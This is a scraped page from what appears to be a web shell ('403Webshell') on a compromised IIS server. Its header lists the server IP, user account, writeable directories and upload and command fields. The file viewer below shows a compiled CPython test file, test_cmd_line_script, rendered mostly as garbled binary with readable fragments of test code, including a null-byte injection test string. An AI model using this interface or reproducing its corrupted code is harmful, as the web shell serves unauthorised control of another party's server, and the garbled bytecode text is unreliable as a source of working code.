403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.64
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/__pycache__/test_cmd_line_script.cpython-315.pyc
R
>lqj��c�p�]PHs]PHs]PHs]PHs]PHs]PHs]PHs]PHs]PH s]PH$s	]PH(s
]PH,s]QH0G
s
]QH8GsGsGs]QHHGsGsGsGsGsGsGsGs\
O6s,QNsQs\1Qks\]1Qks\
O@QQ\OB22s"Q	s#\$Q
6Xc\OJ2P!P!)�)�support)�
import_helper�is_apple�	os_helper)�make_pkg�make_script�make_zip_pkg�make_zip_script�assert_python_ok�assert_python_failure�spawn_python�kill_pythonak# Script may be run with optimisation enabled, so don't rely on assert
# statements being executed
def assertEqual(lhs, rhs):
    if lhs != rhs:
        raise AssertionError('%r != %r' % (lhs, rhs))
def assertIdentical(lhs, rhs):
    if lhs is not rhs:
        raise AssertionError('%r is not %r' % (lhs, rhs))
# Check basic code execution
result = ['Top level assignment']
def f():
    result.append('Lower level reference')
f()
assertEqual(result, ['Top level assignment', 'Lower level reference'])
# Check population of magic variables
assertEqual(__name__, '__main__')
from importlib.machinery import BuiltinImporter
_loader = __loader__ if __loader__ is BuiltinImporter else type(__loader__)
print('__loader__==%a' % _loader)
print('__file__==%a' % __file__)
print('__package__==%r' % __package__)
# Check PEP 451 details
import os.path
if __package__ is not None:
    print('__main__ was located through the import system')
    assertIdentical(__spec__.loader, __loader__)
    expected_spec_name = os.path.splitext(os.path.basename(__file__))[0]
    if __package__:
        expected_spec_name = __package__ + "." + expected_spec_name
    assertEqual(__spec__.name, expected_spec_name)
    assertEqual(__spec__.parent, __package__)
    assertIdentical(__spec__.submodule_search_locations, None)
    assertEqual(__spec__.origin, __file__)
# Check the sys module
import sys
assertIdentical(globals(), sys.modules[__name__].__dict__)
if __spec__ is not None:
    # XXX: We're not currently making __main__ available under its real name
    pass # assertIdentical(globals(), sys.modules[__spec__.name].__dict__)
from test import test_cmd_line_script
example_args_list = test_cmd_line_script.example_args
assertEqual(sys.argv[1:], example_args_list)
print('sys.argv[0]==%a' % sys.argv[0])
print('sys.path[0]==%a' % sys.path[0])
# Check the working directory
import os
print('cwd==%a' % os.getcwd())
c�J�[VU2o[O2U!�N)r�	importlib�invalidate_caches)�
script_dir�script_basename�source�	to_returns&&& �.C:\Python315\\Lib\test\test_cmd_line_script.py�_make_test_scriptrLs ���J��@�I�
���!���c�L�[VV#VE2o[O2U!r)rrr)�zip_dir�zip_basename�pkg_namerr�depthrs&&&&&& r�_make_test_zip_pkgrQs%���W�H�#�,�I�
���!��rc�`�\sQs]YsnQDQksQP-QksQP-QksQsQs\	OQEQk2sQEQksQEQ	ks
Q
sQsQsQ
sQsQsQsQsQsQsQsQsQsQsQsQsQsQsQs Qs!Qs"Qs#Q s$Q!s%Q"s&Q#s'\	OQ$2s(Q%s)Q&s*Q's+Q(s,Q)s-Q*s.Q+s/Q,s0Q-s1Q.s2Q/s3Q0s4Q1s5Q2s6Q3s7Q4s8Q5s9Q6s:Q7s;Q8s<Q9s=\>O~\@O�O�Q:2Q;2\>O�\DO�O�Q<29%c:\@O�Q=2O�\@O�Q>2O�6HQ?2Q@22sIQAsJQBsKQCsLUsMP!)F�CmdLineTestc
�|�[]6�c'[QU*2[[U22UOU]2QU*o
QU*oQU*oQU*o
QU*oU	e[O
2o	QU	*o[]6�c8[Q2[U2[U2[U
2[U2UO
U
OQ	2U2UO
UOQ	2U2UO
UOQ	2U2UO
U
OQ	2U2[OO%f"UO
UOQ	2U2UO
UOQ	2U2P!)
�zOutput from test script %r:z__loader__==%az__file__==%az__package__==%rzsys.argv[0]==%azsys.path[0]==%azcwd==%azExpected output:�utf-8)�verbose�print�repr�assertEqual�os�getcwd�assertIn�encode�sys�flags�	safe_path)�self�script_name�	exit_code�data�
expected_file�expected_argv0�expected_path0�expected_package�expected_loader�expected_cwd�printed_loader�printed_file�printed_package�
printed_argv0�
printed_path0�printed_cwds&&&&&&&&&&      r�
_check_output�CmdLineTest._check_output[sY���Q�;��/�+�=�>��$�t�*������A�&�)�O�;��%�
�5��+�.>�>��)�N�:�
�)�N�:�
����9�9�;�L��,�.���Q�;��$�%��,���/�"��-� ��+���
�
�n�+�+�G�4�d�;��
�
�l�)�)�'�2�D�9��
�
�o�,�,�W�5�t�<��
�
�m�*�*�7�3�T�:��y�y�"�"�"��M�M�-�.�.�w�7��>��
�
�k�(�(��1�4�8r�cwdc���[U[2%cU,o,[O2NUNUN[No
[U
QP
QU-U	@vq�o
UO
VV�*UV4VVU2	P!)�
__isolated�__cwd)�
isinstance�strr�!optim_args_from_interpreter_flags�example_argsr
r?)r/�script_exec_argsr3r4r5r6r7rA�cmd_line_switches�env_vars�run_args�rc�out�errs&&&&&&&$*,    r�
_check_script�CmdLineTest._check_scriptzs����&��,�,� 0�1��J�W�>�>�@�J�&�J�)9�J�<H�J��'�
�
�"'�
�/2�
�6>�
����	
���+���M�)�+�c�	Crc�L�[U[2%cU1oL[U2oVA*o[UQP
QU-U@vqxo	[]6�c7[QU8P
02[[
U	22[QU*2UOUOQ2U	2P!)rCrDzOutput from test script zExpected output: %rr#)	rErF�tuplerr$r%r&r*r+)
r/rI�expected_msgrArJrKrLrMrNrOs
&&&$*,    r�_check_import_error�CmdLineTest._check_import_error�s����&��,�,� 0�2��$�%5�6��$�7��,�
�
�"'�
�/2�
�6>�
�����Q�;��,�-=�,A�q�,A�B�C��$�s�)���'�,�6�7��
�
�l�)�)�'�2�C�8rc��[QQ2vqo[[OO2OQ2oUO
VB2P!)�-czprint(__loader__)r#)r
r&r�	machinery�BuiltinImporterr+r*)r/rMrNrO�expecteds&    r�test_dash_c_loader�CmdLineTest.test_dash_c_loader�s@��'��.A�B�����	�+�+�;�;�<�C�C�G�L���
�
�h�$rc�D�[2oUOOQ2UOO2[	U2o[[OO2OQ2oUOV22P![	S2oh9h)sprint(__loader__)
r#)r�stdin�write�flushr
r&rrYrZr+r*)r/�prNr[s&   r�test_stdin_loader�CmdLineTest.test_stdin_loader�sq��
�N��	!�
�G�G�M�M�0�1�
�G�G�M�M�O��a�.�C��	�+�+�;�;�<�C�C�G�L���
�
�h�$���a�.�C�s�5B�
Bc#� �U%c)[Q[OQ5oUOoL'[Q[OQ5oUO
oUO
]2oUQ6XcLUO2J,Uw�[U2UO2P![S2SO2h9h3h)z-i)�stderrs>>> )
r�
subprocess�PIPErf�STDOUT�stdout�read�readliner
�close)r/�separate_stderrrbrfr2s&&   r�interactive_python�CmdLineTest.interactive_python�s������T�*�/�/�:�A��X�X�F��T�*�*;�*;�<�A��X�X�F�
	���{�{�1�~���7�?�����!��G���N��L�L�N��
��N��L�L�N�s)�	C
�AC
�B*�5B*�
C
�*C�C
c�N�UOU29^tt^2oUOOQ2UOO2UO	QUO
O
2O22PPP2P!)%fhP!9h)s
print('foo')
sfoo)ror_r`rar'rjrl�strip)r/rnrbs&& r�check_repl_stdout_flush�#CmdLineTest.check_repl_stdout_flush�sh��
�
$�
$�_�
5�
5��
�G�G�M�M�+�,�
�G�G�M�M�O����V�Q�X�X�%6�%6�%8�%>�%>�%@�A�6�
5�
5�
5�s�A.B�B$	�B$	c�^�UOU29^tt^2oUOOQ2UOO2U%c
UOLUO
oUO
QUO22UO
QUO22UO
QUO22UO
QUO22UO
QUO22PPP2P!)%fhP!9h)s1/0
s
Traceback sFile "<stdin>"s1/0�    ~^~sZeroDivisionError)ror_r`rarfrjr*rl)r/rnrbrfs&&  r�check_repl_stderr_flush�#CmdLineTest.check_repl_stderr_flush�s���
�
$�
$�_�
5�
5��
�G�G�M�M�(�#�
�G�G�M�M�O�!0�Q�X�X�a�h�h�F��M�M�-����):�;��M�M�+�V�_�_�->�?��M�M�&�&�/�/�"3�4��M�M�*�f�o�o�&7�8��M�M�.����0A�B�6�
5�
5�
5�s�=D�B8D�D,	�$D,	c�(�UO2P!r�rs�r/s&r�test_repl_stdout_flush�"CmdLineTest.test_repl_stdout_flush�����$�$�&rc�*�UOP	2P!�Trzr{s&r�&test_repl_stdout_flush_separate_stderr�2CmdLineTest.test_repl_stdout_flush_separate_stderr�����$�$�T�*rc�(�UO2P!r�rwr{s&r�test_repl_stderr_flush�"CmdLineTest.test_repl_stderr_flush�r~rc�*�UOP	2P!r�r�r{s&r�&test_repl_stderr_flush_separate_stderr�2CmdLineTest.test_repl_stderr_flush_separate_stderr�r�rc���[O29^tt^2o[UQ2oUOV"UUP[O
OUQ5PPP2P!)%fhP!9h)�script)r8�r�temp_dirrrPrrY�SourceFileLoader�r/rr0s&  r�test_basic_script�CmdLineTest.test_basic_script�s\��
�
�
�
!�
!�Z�+�J��A�K����{��)�4�(�2�2�C�C�,6�
�
8�"�
!�
!�
!�s�<A%�%A6	�.A6	c
��[O29^tt^2oUO[OOU2U2[
UQ2o[OOU2oUOV2UUP[OO2PPP2P!)%fhP!9h)r�)r�temp_cwd�
assertTruer(�path�isabsr�basenamerPrrYr�)r/rr0�
relative_names&   r�test_script_abspath�CmdLineTest.test_script_abspath�s����
�
�
!�
!�Z��O�O�B�G�G�M�M�*�5�z�B�+�J��A�K��G�G�,�,�[�9�M����}�=�)�4�(�2�2�C�C�
E�"�
!�
!�
!�s�BB1�1C	�:C	c
�H�[O29^tt^2o[UQ2o[OUP	Q5o[
OU2UOV3V1P[OO2PPP2P!)%fhP!9h)r���
allow_compile�rr�rr�make_legacy_pycr(�removerPrrY�SourcelessFileLoader�r/rr0�pyc_files&   r�test_script_compiled� CmdLineTest.test_script_compiled�sr��
�
�
�
!�
!�Z�+�J��A�K�$�4�4�[�PT�U�H��I�I�k�"����x�'�T�(�2�2�G�G�
I�	"�
!�
!�
!�s�A'B�B!	�B!	c
���[O29^tt^2o[UQ2oUOVUUP[O
O2PPP2P!)%fhP!9h)�__main__r�r�s&  r�test_directory�CmdLineTest.test_directory�sU��
�
�
�
!�
!�Z�+�J�
�C�K����z�
�)�2�(�2�2�C�C�
E�"�
!�
!�
!���:A#�#A4	�,A4	c
�J�[O29^tt^2o[UQ2o[OUP	Q5o[
OU2UOVUUP[OO2PPP2P!)%fhP!9h)r�r�r�r�s&   r�test_directory_compiled�#CmdLineTest.test_directory_compiledst��
�
�
�
!�
!�Z�+�J�
�C�K�$�4�4�[�PT�U�H��I�I�k�"����z�Z�)�2�(�2�2�G�G�
I�	"�
!�
!�
!�s�A(B�B"	�B"	c��[O29^tt^2oQU*oUOV2PPP2P!)%fhP!9h)�"can't find '__main__' module in %r)rr�rU)r/r�msgs&  r�test_directory_error� CmdLineTest.test_directory_error	s:��
�
�
�
!�
!�Z�6��C�C��$�$�Z�5�"�
!�
!�
!�s�A�A	�
A	c
��[O29^tt^2o[UQ2o[UQU2vq4UO	V4V3P[
O2PPP2P!)%fhP!9h)r��test_zip)rr�rr	rP�	zipimport�zipimporter)r/rr0�zip_name�run_names&    r�test_zipfile�CmdLineTest.test_zipfiles\��
�
�
�
!�
!�Z�+�J�
�C�K�!0��Z��!U��H����x�8�r�(�4�4�
6�"�
!�
!�
!�s�>A'�'A8	�0A8	c
�j�[O29^tt^2o[UQ2oUQ*o[OV#P	[O
OQ5[UQU2vqEUOVEVDP[O2PPP2P!)%fhP!9h�r��c)�doraise�invalidation_moder�)rr�r�
py_compile�compile�PycInvalidationMode�	TIMESTAMPr	rPr�r��r/rr0�
compiled_namer�r�s&     r�test_zipfile_compiled_timestamp�+CmdLineTest.test_zipfile_compiled_timestamps���
�
�
�
!�
!�Z�+�J�
�C�K�'�#�-�M����{�4�",�"@�"@�"J�"J�
L�!0��Z��!W��H����x�8�r�(�4�4�
6�
"�
!�
!�
!���A8B!�!B2	�*B2	c
�j�[O29^tt^2o[UQ2oUQ*o[OV#P	[O
OQ5[UQU2vqEUOVEVDP[O2PPP2P!)%fhP!9hr�)rr�rr�r�r��CHECKED_HASHr	rPr�r�r�s&     r�"test_zipfile_compiled_checked_hash�.CmdLineTest.test_zipfile_compiled_checked_hashs���
�
�
�
!�
!�Z�+�J�
�C�K�'�#�-�M����{�4�",�"@�"@�"M�"M�
O�!0��Z��!W��H����x�8�r�(�4�4�
6�
"�
!�
!�
!�r�c
�j�[O29^tt^2o[UQ2oUQ*o[OV#P	[O
OQ5[UQU2vqEUOVEVDP[O2PPP2P!)%fhP!9hr�)rr�rr�r�r��UNCHECKED_HASHr	rPr�r�r�s&     r�$test_zipfile_compiled_unchecked_hash�0CmdLineTest.test_zipfile_compiled_unchecked_hash)s���
�
�
�
!�
!�Z�+�J�
�C�K�'�#�-�M����{�4�",�"@�"@�"O�"O�
Q�!0��Z��!W��H����x�8�r�(�4�4�
6�
"�
!�
!�
!�r�c���[O29^tt^2o[UQ2o[UQU2vq4QU*oUO	V52PPP2P!)%fhP!9h)�not_mainr�r�)rr�rr	rU)r/rr0r�r�r�s&     r�test_zipfile_error�CmdLineTest.test_zipfile_error3sW��
�
�
�
!�
!�Z�+�J�
�C�K�!0��Z��!U��H�6��A�C��$�$�X�3�	"�
!�
!�
!�s�6A�A0	�(A0	c�L�[O29^tt^2o[OO	UQ2o[U2[
UQ2oUOQQ,V3UQ[OOUQ5PPP2P!)%fhP!9h)�test_pkgr��-m�test_pkg.script�rA�rr�r(r��joinrrrPrrYr��r/r�pkg_dirr0s&   r�test_module_in_package�"CmdLineTest.test_module_in_package:s~��
�
�
�
!�
!�Z��g�g�l�l�:�z�:�G��W��+�G�X�>�K�����&7�8�+�)�:�(�2�2�C�C�#-�
�
/�	"�
!�
!�
!���A)B�B#	�B#	c
���[O29^tt^2o[UQQQ2vq#UOQQ,V3UQ[O
V!Q5PPP2P!)%fhP!9h)r�r�r�r�r���
PYTHONPATHrA�rr�rrPr�r��r/rr�r�s&   r�!test_module_in_package_in_zipfile�-CmdLineTest.test_module_in_package_in_zipfileDsd��
�
�
�
!�
!�Z�!3�J�
�J�X`�!a��H�����&7�8�(�)�:�y�7L�7L�*2�
�
D�"�
!�
!�
!�s�8A!�!A2	�*A2	c
���[O29^tt^2o[UQQQ]Q5vq#UOQQ,V3UQ[O
V!Q5PPP2P!)%fhP!9h)r�r�r�)rr�ztest_pkg.test_pkg.scriptztest_pkg.test_pkgr�r�r�s&   r�$test_module_in_subpackage_in_zipfile�0CmdLineTest.test_module_in_subpackage_in_zipfileKsi��
�
�
�
!�
!�Z�!3�J�
�J�X`�hi�!j��H�����&@�A�8�)�+>�(�4�4�*2�
�
D�"�
!�
!�
!�r�c�L�[O29^tt^2o[OO	UQ2o[U2[
UQ2oUOQQ,UV1Q[OOUQ5PPP2P!)%fhP!9h)r�r�r�r�r�r�s&   r�test_package�CmdLineTest.test_packageSs}��
�
�
�
!�
!�Z��g�g�l�l�:�z�:�G��W��+�G�Z�@�K�����j�1�;�*�
�(�2�2�C�C�#-�
�
/�	"�
!�
!�
!�r�c��[O29^tt^2o[OO	UQ2o[U2[
UQ2o[OUP	Q5o[OU2UOQQ,UVAQ[OOUQ5PPP2P!)%fhP!9h)r�r�r�r�r�)rr�r(r�r�rrrr�r�rPrrYr�)r/rr�r0r�s&    r�test_package_compiled�!CmdLineTest.test_package_compiled]s���
�
�
�
!�
!�Z��g�g�l�l�:�z�:�G��W��+�G�Z�@�K�$�4�4�[�PT�U�H��I�I�k�"�����j�1�8�'�Z�(�2�2�G�G�#-�
�
/�
"�
!�
!�
!�s�BC�C	�	C	c��[O29^tt^2o[OO	UQ2o[U2QoUO
QQ,V1Q5PPP2P!)%fhP!9h)r�z7'test_pkg' is a package and cannot be directly executedr�r��rr�r(r�r�rrU)r/rr�r�s&   r�test_package_error�CmdLineTest.test_package_erroris]��
�
�
�
!�
!�Z��g�g�l�l�:�z�:�G��W��*�C��$�$�d�J�%7��$�M�"�
!�
!�
!�s�AA,�,A=	�5A=	c�V�[O29^tt^2o[OO	UQ2o[U2[OO	UQ2o[U2QoUO
QQ,VAQ5PPP2P!)%fhP!9h)r�r�z^Cannot use package as __main__ module; 'test_pkg' is a package and cannot be directly executedr�r�r�)r/rr��main_dirr�s&    r�test_package_recursion�"CmdLineTest.test_package_recursionqs{��
�
�
�
!�
!�Z��g�g�l�l�:�z�:�G��W���w�w�|�|�G�Z�8�H��X��*�C�
�$�$�d�J�%7��$�M�"�
!�
!�
!�s�A.B�B(	� B(	c��[O29^tt^2o[OUQ59^tt^2[OOUQ2o[
UQ2[UQ2o[QQ,[N3QP
-vqEo[]6�c[[U22QQ*oUOUOQ2U2UOV4UV3UQ[ O"O$2PPP2PPP2P!)%fhK9h)%fhP!9h)	�r�r�z1import sys; print('init_argv0==%r' % sys.argv[0])r�r�r�rCzinit_argv0==%rr#)rr��
change_cwdr(r�r�rrr
rHr$r%r&r*r+r?rrYr�)r/rr�r0rMrNrOr[s&       r�test_issue8202�CmdLineTest.test_issue8202|s����
�
�
!�
!�Z��%�%�:�6�6��'�'�,�,�z�:�>����"U�V�/���B��/��6G�i�,�i�ch�i�����Q�;��$�s�)�$�+�d�2���
�
�h�o�o�g�6��<��"�"�;�C�#.�Z��#,�#6�#6�#G�#G�I�7�"�
!�6�6��"�
!�
!�s6� D,�AD	�A,D	�D,�D)
�"D)
�$D,�,D=	�5D=	c�,�[O29^tt^2o[OUQ59^tt^2[QQQQ59^tt^2oUO	Q2[QQP
Q5vq4o[]6�c[[U22QP*oUOUOQ2U2PPP2PPP2PPP2P!)%fhK"9h)%fhK-9h)%fhP!9h)	r�rX�wr#��encodingr2z2import sys; print("sys.path[0]==%r" % sys.path[0]))rCzsys.path[0]==%r)rr�r��openr`r
r$r%r&r*r+)r/r�frMrNrOr[s&      r�"test_issue8202_dash_c_file_ignored�.CmdLineTest.test_issue8202_dash_c_file_ignored�s����
�
�
!�
!�Z��%�%�:�6�6��$��g�6�6�!��G�G�F�O�#3�D�L�#(�$*�L�B�S���{��d�3�i�(�0�2�5�H��M�M�(�/�/�'�":�C�@�7�7�"�
!�6�6��7�6��"�
!�
!�sR� D�C/	�-C
�>C
�C/	�
D�C,�%C,�'C/	�/C?
�8C?
�:D�D	�D	c��[O29^tt^2o[UQ2o[OUQ59^tt^2[	QQQQ59^tt^2oUOQ2[
QQ,[N3QP
-vqEoUOV$UV"UP[OO2PPP2PPP2PPP2P!)%fhK"9h)%fhK-9h)%fhP!9h)�otherr�r�rr#rr2rC)rr�rr�rr`r
rHr?rrYr�)r/rr0rrMrNrOs&      r�"test_issue8202_dash_m_file_ignored�.CmdLineTest.test_issue8202_dash_m_file_ignored�s����
�
�
!�
!�Z�+�J��@�K��%�%�:�6�6��$��g�6�6�!��G�G�F�O�#3�D�'�$F�L�$F�?D�$F�L�B�S��&�&�{��&1�
�B�&/�&9�&9�&J�&J�L�	7�7�"�
!�7�6��7�6��"�
!�
!�sN�,C:�C'	�"AC
�:C'	�C:�C$�C$�C'	�'C7
�0C7
�2C:�:D	�D	c	��[O29^tt^2o[OO	UQ2o[UQQQQ59^tt^2oUO
Q2UO
Q2[]2FDoUO
Q	2J	UO
Q2PPP2[OUQ59^tt^2[U2vqVoPPP2UOQW2UOQW2PPP2P!)%fhKt9h)%fhKQ9h)%fhP!9h)
z
issue20884.pyr�latin1�
)r�newlinez#coding: iso-8859-1
z"""
r�rzQxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
)rr�r(r�r�rr`�ranger�r
r')r/rr0r�_rMrNrOs&       r�test_issue20884�CmdLineTest.test_issue20884�s����
�
�
!�
!�Z��'�'�,�,�z�?�C�K��k�3��4�H�H�A����/�0����� ��r��A��G�G�M�*�#����� �I��%�%�:�6�6�/��<����7����S�#�&����S�#�&�"�
!�H�H��7�6��"�
!�
!�sN�8E�AD	�/'E�D.	�%,E�D+
�$D+
�&E�.D>
�7D>
�9E�E	�
E	c	'�` �[O29^tt^2o[OUQ59^tt^2[OOUQ2o[
U,UN3Uw�PPP2PPP2P!)%fhK9h)%fhP!9h3h)r�r�)rr�r�r(r�r�r)r/�argsrr�s&*  r�setup_test_pkg�CmdLineTest.setup_test_pkg�sl���
�
�
�
!�
!�Z��$�$�*�5�5��g�g�l�l�:�z�:�G��W�$�t�$��M�6�"�
!�5�5��"�
!�
!�s@�B.� B�4B	�5B�=
B.�B
�B
�B�B+	�#B+	�%	B.c��[Q,UN3QP
-vq#o[]6�c[[U22UO	U]2U!)r�rC)rr$r%r&r')r/rrMrNrOs&*   r�check_dash_m_failure� CmdLineTest.check_dash_m_failure�sB��,�T�K�D�K�U�K�����Q�;��$�s�)������Q���
rc���UO29^tt^2o[UQQ2oUOQ,[N3oUO	QU2PPP2P!)%fhP!9h)rz+if __name__ == '__main__': raise ValueErrorztest_pkg.others
ValueError)rrrrHr*)r/r�r0rOs&   r�test_dash_m_error_code_is_one�)CmdLineTest.test_dash_m_error_code_is_one�sZ���
 �
 �
"�
"�g�+�G�W�,Y�[�K��+�+�,<�L�|�L�C��M�M�-��-�	#�
"�
"�
"�s�9A�A.	�&A.	c	��QoSFDkvq#UOU29^tt^2[QU2vqEoUOU]2UOVc2UO	QU2PPP2Jm	P!)%fhJ�9h)�builtinsr��	Traceback))rsNo code object available)z
builtins.xs=Error while finding module specification.*ModuleNotFoundError)zbuiltins.x.ys]Error while finding module specification.*ModuleNotFoundError.*No module named.*not a package)rs=No module named.*is a package and cannot be directly executed)zimportlib.nonexistentsNo module named)z	.unittests#Relative module names not supported)�subTestrr'�assertRegex�assertNotIn)r/�tests�name�regexrMrrOs&      r�test_dash_m_errors�CmdLineTest.test_dash_m_errors�sv��

��!�K�D����d�#�#�2�4��>�
��s�� � ��Q�'�� � ��,�� � ��s�3�	$�#�!�#�#�#�s�AA8	�8B	
�B	
c��[O29^tt^2o[OUQ59^tt^2[OQ2[QQ29^tt^2PPP2UO
Q2oUOUQ2UOQU2UOQU2PPP2PPP2P!)%fhKi9h)%fhK-9h)%fhP!9h)r�r�ztest_pkg/__init__.pyc�wbsGError while finding module specification.*ImportError.*bad magic numbersis a packager)	rr�r�r(�mkdirrrr!r"�r/rrOs&  r�test_dash_m_bad_pyc�CmdLineTest.test_dash_m_bad_pyc�s���
�
�
�
!�
!�Z��$�$�*�5�5��H�H�Z� ��-�t�4�4��5��+�+�J�7�C����S�2�
3�
���_�c�2����\�3�/�6�"�
!�5�4��6�5��"�
!�
!�sM� C3�+C 	�*C

�,AC 	�;C3�
C�C�C 	� C0
�)C0
�+C3�3D	�<D	c��[O29^tt^2o[OUQ59^tt^2[QQ29^tt^2PPP2UO	Q2oUOQU2PPP2PPP2P!)%fhKE9h)%fhK-9h)%fhP!9h)r�z
asyncio.pyr)s>Try using 'asyncio' instead of 'asyncio.py' as the module name)rr�r�rrr*r+s&  r�*test_hint_when_triying_to_import_a_py_file�6CmdLineTest.test_hint_when_triying_to_import_a_py_file�s���
�
�
�
!�
!�Z��$�$�*�5�5��l�D�)�)��*��+�+�L�9�C��M�M�@�AD�
F�6�"�
!�*�)��6�5��"�
!�
!�sL� B9�B&	�B
�+B&	�B9�B#�B#�B&	�&B6
�/B6
�1B9�9C
	�C
	c��[[[[1oSFD�oUOoQOU2oUO
U29^tt^2UOU29^tt^2oUOQ2oUOUOQ2U2UOQU2UOQU2PPP2PPP2J�	P!)%fhK9h)%fhJ�9h)z%raise {0}('Exception in __init__.py')r��asciisException in __init__.pyr)�ImportError�AttributeError�	TypeError�
ValueError�__name__�formatr rrr*r+)r/�
exceptions�	exception�initr�rOs&     r�test_dash_m_init_traceback�&CmdLineTest.test_dash_m_init_tracebacks���"�>�9�j�I�
�#�I�!�*�*�I�:�A�A�)�L�D����i�(�(��'�'��-�-���/�/�
�;���
�
�i�.�.�w�7��=��
�
�9�3�?��
�
�l�C�0�	.�)�(�$�.�-��)�(�(�s1�C.	�.AC
�C.	�C+�$C+�&C.	�.C?
�7C?
c��UO29^tt^2oQo[UQU2UOQ2oUOQU2UOQU2UOQU2PPP2P!)%fhP!9h)z1raise ImportError('Exception in __main__ module')r�r�sImportErrorsException in __main__ moduler)rrrr*)r/r��mainrOs&   r�test_dash_m_main_traceback�&CmdLineTest.test_dash_m_main_tracebacksn��
�
 �
 �
"�
"�g�F�D��g�z�4�8��+�+�J�7�C��M�M�.�#�.��M�M�9�3�?��M�M�,��,�
#�
"�
"�
"�s�AA;�;B	�B	c���[OQ2o[O29^tt^2o[	UQU2o[U2vqEoUO
Q2OQ2oUO[U2]2UOU]*Q2UOU]*Q2UOU]*Q2PPP2P!)%fhP!9h)z�            try:
                raise ValueError
            except ValueError:
                raise NameError from None
            r�r2r
�	Tracebackz  File �	NameError)�textwrap�dedentrr�rr�decode�splitr'�len�assertStartsWith�r/r�rr0�exitcoderjrf�texts&       r�test_pep_409_verbiage�!CmdLineTest.test_pep_409_verbiages������"����
�
�
!�
!�Z�+�J��&�I�K�'<�[�'I�$�H�f��=�=��)�/�/��5�D����S��Y��*��!�!�$�q�'�;�7��!�!�$�q�'�9�5��!�!�$�q�'�;�7�"�
!�
!�
!�s�B"C!�!C2	�*C2	c�v�[O%cG[OQ7c2[%f&[
O[O2oL8[O%c[OoLUOQ2Qo[[
O2WU2oUO[OU2[U2vqEoUO[U2UO!2O#Q2QU8QU802UO]U2P!)�win32zneed os_helper.TESTFN_NONASCIIzprint(ascii(__file__))
r2zstdout=z stderr=>�wasirQ�
emscripten)r�TESTFN_UNDECODABLEr,�platformrr(�fsdecode�TESTFN_NONASCII�skipTestrr)�
addCleanup�unlinkr
r'r2�rstriprG)r/r$rr0rMrjrfs&      r�test_non_ascii�CmdLineTest.test_non_ascii*s���
�(�(�(����%���H��;�;�y�;�;�<�D�
�
&�
&�
&��,�,�D��M�M�:�;�,��'��	�	��T�6�B�����	�(�(�+�6�-�k�:���F�����+���M�M�O�"�"�7�+�%+�V�4�	6�	
����B�rc�@�[OQ2o[O29^tt^2o[	UQU2o[U2vqEoUO
Q2oUOUO2Q2PPP2P!)%fhP!9h)z�            import sys
            error = None
            try:
                raise ValueError('some text')
            except ValueError as err:
                error = err

            if error:
                sys.exit(error)
            r�r2z	some text)	rErFrr�rrrGr'r[rKs&       r�)test_issue20500_exit_with_exception_value�5CmdLineTest.test_issue20500_exit_with_exception_valueGsx�����
"�
���
�
�
!�
!�Z�+�J��&�I�K�'<�[�'I�$�H�f��=�=��)�D����T�[�[�]�K�8�	"�
!�
!�
!�s�A
B�B	�B	c�L�Qo[O29^tt^2o[UQU2o[U2vqEo[O
[OU2Q2O2oUOQU2PPP2P!)%fhP!9h)z
1 + 1 = 2
r�r2z
    ^^^^^
)	rr�rr�io�
TextIOWrapper�BytesIOrkr*rKs&       r�*test_syntaxerror_unindented_caret_position�6CmdLineTest.test_syntaxerror_unindented_caret_positionYsv����
�
�
�
!�
!�Z�+�J��&�I�K�'<�[�'I�$�H�f��#�#�B�J�J�v�$6��@�E�E�G�D��M�M�/�4�0�"�
!�
!�
!���A'B�B#	�B#	c�h�[OQ2o[O29^tt^2o[	UQU2o[U2vqEo[O[OU2Q2O2oUOQU2Qo[	UQU2o[U2vqEo[O[OU2Q2O2oUOQU2UOQU2PPP2P!)%fhP!9h)z;            if True:
                1 + 1 = 2
            r�r2z
    1 + 1 = 2
    ^^^^^
zif True:
    1 + 1 = 2
�)rErFrr�rrrbrcrdrkr*r"rKs&       r�(test_syntaxerror_indented_caret_position�4CmdLineTest.test_syntaxerror_indented_caret_positionbs������"����
�
�
!�
!�Z�+�J��&�I�K�'<�[�'I�$�H�f��#�#�B�J�J�v�$6��@�E�E�G�D��M�M�8�$�?�$�
�,�J��&�I�K�'<�[�'I�$�H�f��#�#�B�J�J�v�$6��@�E�E�G�D����T�4�(��M�M�8�$�?�!"�
!�
!�
!�s�C!D � D1	�)D1	c��Qo[O29^tt^2o[UQU2o[U2vqEoUO	UO2QP,QN2PPP2P!)%fhP!9h)zfoo = f"""{}
foo"""
r����)s    foo = f"""{}s               ^s;SyntaxError: f-string: valid expression required before '}'�rr�rrr'�
splitlines�r/r�rr0rLrjrfs&      r�#test_syntaxerror_multi_line_fstring�/CmdLineTest.test_syntaxerror_multi_line_fstringysj��)��
�
�
�
!�
!�Z�+�J��&�I�K�'<�[�'I�$�H�f�����!�!�#�B�C�(��
�"�
!�
!�
!���AA,�,A=	�5A=	c��Qo[O29^tt^2o[UQU2o[QU2vqEoUO	UO2QP,QN2PPP2P!)%fhP!9h)zfoo = """\q"""
r��-Werrorrm)s    foo = """\q"""s             ^^sdSyntaxError: "\q" is an invalid escape sequence. Did you mean "\\q"? A raw string is also an option.rnrps&      r�3test_syntaxerror_invalid_escape_sequence_multi_line�?CmdLineTest.test_syntaxerror_invalid_escape_sequence_multi_line�sq��$��
�
�
�
!�
!�Z�+�J��&�I�K�'<��;�(�$�H�f�
����!�!�#�B�C�(��
�"�
!�
!�
!�s�AA-�-A>	�6A>	c��Qo[O29^tt^2o[UQU2o[U2vqEoUO	UO2QPQQ,2PPP2P!)%fhP!9h)z?x = '' nothing to see here
';import os;os.system('echo pwnd')
r�s	    x = '�2SyntaxError: source code cannot contain null bytes���rnrps&      r�test_syntaxerror_null_bytes�'CmdLineTest.test_syntaxerror_null_bytes�sp��U��
�
�
�
!�
!�Z�+�J��&�I�K�'<�[�'I�$�H�f�����!�!�#�B�C�(� �I��
�"�
!�
!�
